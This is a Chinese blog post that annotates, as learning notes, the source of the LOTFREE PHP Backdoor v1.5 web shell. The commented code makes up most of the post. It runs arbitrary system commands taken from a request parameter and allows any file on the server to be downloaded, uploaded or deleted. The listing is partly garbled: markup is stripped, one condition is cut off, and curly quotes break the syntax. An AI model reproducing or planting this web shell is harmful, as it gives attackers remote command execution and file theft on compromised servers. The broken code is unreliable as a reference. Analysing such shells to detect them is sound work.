首页  >  文章  >  后端开发  >  解释PHP后门文件

解释PHP后门文件

WBOY
WBOY原创
2016-07-25 09:13:331940浏览

PHP Backdoor Version 1.5是由sirius_black / LOTFREE TEAM编写的一个php后门程序,这里对其进行一下简单解析,也当做自己学习php的笔记,该后门程序成执行的命令,取决于安装web服务器和php时用户的权限,如果是管理员的话,那就可以执行各种操作系统命令。

以下是一个后门程序的注释


  1. function good_link($link)
  2. {
  3. $link=ereg_replace(“/+”,”/”,$link);
  4. $link=ereg_replace(“/[^/(..)]+/\.\.”,”/”,$link);
  5. $link=ereg_replace(“/+”,”/”,$link);
  6. if(!strncmp($link,”./”,2) && strlen($link)>2)$link=substr($link,2);
  7. if($link==”")$link=”.”;
  8. return $link;
  9. }
  10. //$_REQUEST用来取得提交到本文件的数据
  11. $dir=isset($_REQUEST['dir'])?$_REQUEST['dir']:”.”; //如果没有定义dir,dir取默认值”.”
  12. $dir=good_link($dir);
  13. $rep=opendir($dir); //打开dir指定的路径句柄
  14. chdir($dir); //切换到dir指定的目录
  15. if(isset($_REQUEST["down"]) &&$_REQUEST["down"]!=”") //如果定义了down
  16. {
  17. header(“Content-Type: application/octet-stream”);
  18. header(“Content-Length: “.filesize($_REQUEST["down"]));
  19. header(“Content-Disposition: attachment; filename=”.basename($_REQUEST["down"]));
  20. readfile($_REQUEST["down"]); //将文件读取到缓冲区
  21. exit();
  22. }
  23. ?>

  24. LOTFREE PHP Backdoor v1.5,易踪网yeetrack.com



  25. echo “当前绝对路径为: ”.getcwd().”
    \n”; //获取当前的绝对路径
  26. echo “dir = ‘$dir’
    \n”;<br>
  27. echo “当前目录,文件列表!

    \n”;<br>
  28. //如果已经输入要执行的命令
  29. if(isset($_REQUEST['cmd']) &&$_REQUEST['cmd']!=”")
  30. {
  31. echo “
    \n”;<br>
  32. system($_REQUEST['cmd']); //在服务器上执行输入的命令,执行结果回显
  33. echo “\n”;<br>
  34. }
  35. //如果已经上传了文件
  36. if(isset($_FILES["fic"]["name"]) && isset($_POST["MAX_FILE_SIZE"])) //获取post上来的文件,保存到当前目录
  37. {
  38. if($_FILES["fic"]["size"]
  39. {
  40. if(move_uploaded_file($_FILES["fic"]["tmp_name"],good_link(“./”.$_FILES["fic"]["name"]))) //将临时文件保存到当前目录
  41. {
  42. echo “文件保存成功 “.good_link(“./”.$_FILES["fic"]["name"]).”!
    \n”;<br>
  43. }
  44. else echo “文件上传失败: “.$_FILES["fic"]["error"].”
    \n”;<br>
  45. }
  46. else echo “File too large(文件超出大小限制)!
    \n”;<br>
  47. }
  48. if(isset($_REQUEST['rm']) &&$_REQUEST['rm']!=”") //如果定义了rm,即删除指定的文件
  49. {
  50. if(unlink($_REQUEST['rm'])) //unlink是php的删除文件函数
  51. echo “成功删除 “.$_REQUEST['rm'].”!
    \n”;<br>
  52. else echo “删除文件失败
    \n”;<br>
  53. }
  54. ?>



  55. $t_dir=array();
  56. $t_file=array();
  57. $i_dir=0;
  58. $i_file=0;
  59. //循环输读取前的目录文件,放在t_dir和t_file中
  60. while($x=readdir($rep))
  61. {
  62. if(is_dir($x)) //如果当前处理的是目录
  63. $t_dir[$i_dir++]=$x;
  64. else //如果当前处理的是文件
  65. $t_file[$i_file++]=$x;
  66. }
  67. closedir($rep); //关闭由opendir打开的目录句柄
  68. while(1) //循环输入当前路径的目录和文件
  69. {
  70. ?>



  71. //$_SERVER['PHP_SELF']取得当前php脚本文件名
  72. if($y=each($t_file))
  73. {
  74. if($y["key"]%2==0) //如果当前处理的是key
  75. echo ” bgcolor=’lightgreen’>\n”;<br>
  76. else //如果当前处理的是value,即文件。就将该文件展示出来,且提供下载链接。
  77. echo “>\n”;<br>
  78. echo “ ”.$y["value"].”\n”;<br>
  79. }
  80. else echo“>\n”;<br>
  81. ?>

  82. if($y)
  83. {
  84. //如果是文件,就提供以下删除该文件的链接
  85. if($y["key"]%2==0)echo ” bgcolor=’lightgreen’”;
  86. echo “>Del”;
  87. }
  88. else echo “>\n”;<br>
  89. ?>


  90. if(!$x && !$y)
  91. break;
  92. }
  93. ?>

  94. if($x=each($t_dir))
  95. {
  96. $name=$x["value"]; //获取t_dir数组里的目录名称
  97. if($name==’.'){}
  98. elseif($name==’..’) echo “ UP(父目录)

    \n”; //展示一个UP链接,读取父目录的文件列表
  99. else
  100. echo “ ”.$name.”\n”;<br>
  101. }
  102. ?>





  103. ?dir=”>revenirau repertoire d’origine



  104. ”>
  105. Execute commande(执行操作系统命令)


  106. 上传文件到服务器当前目录:

  107. ”>




复制代码





声明:
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn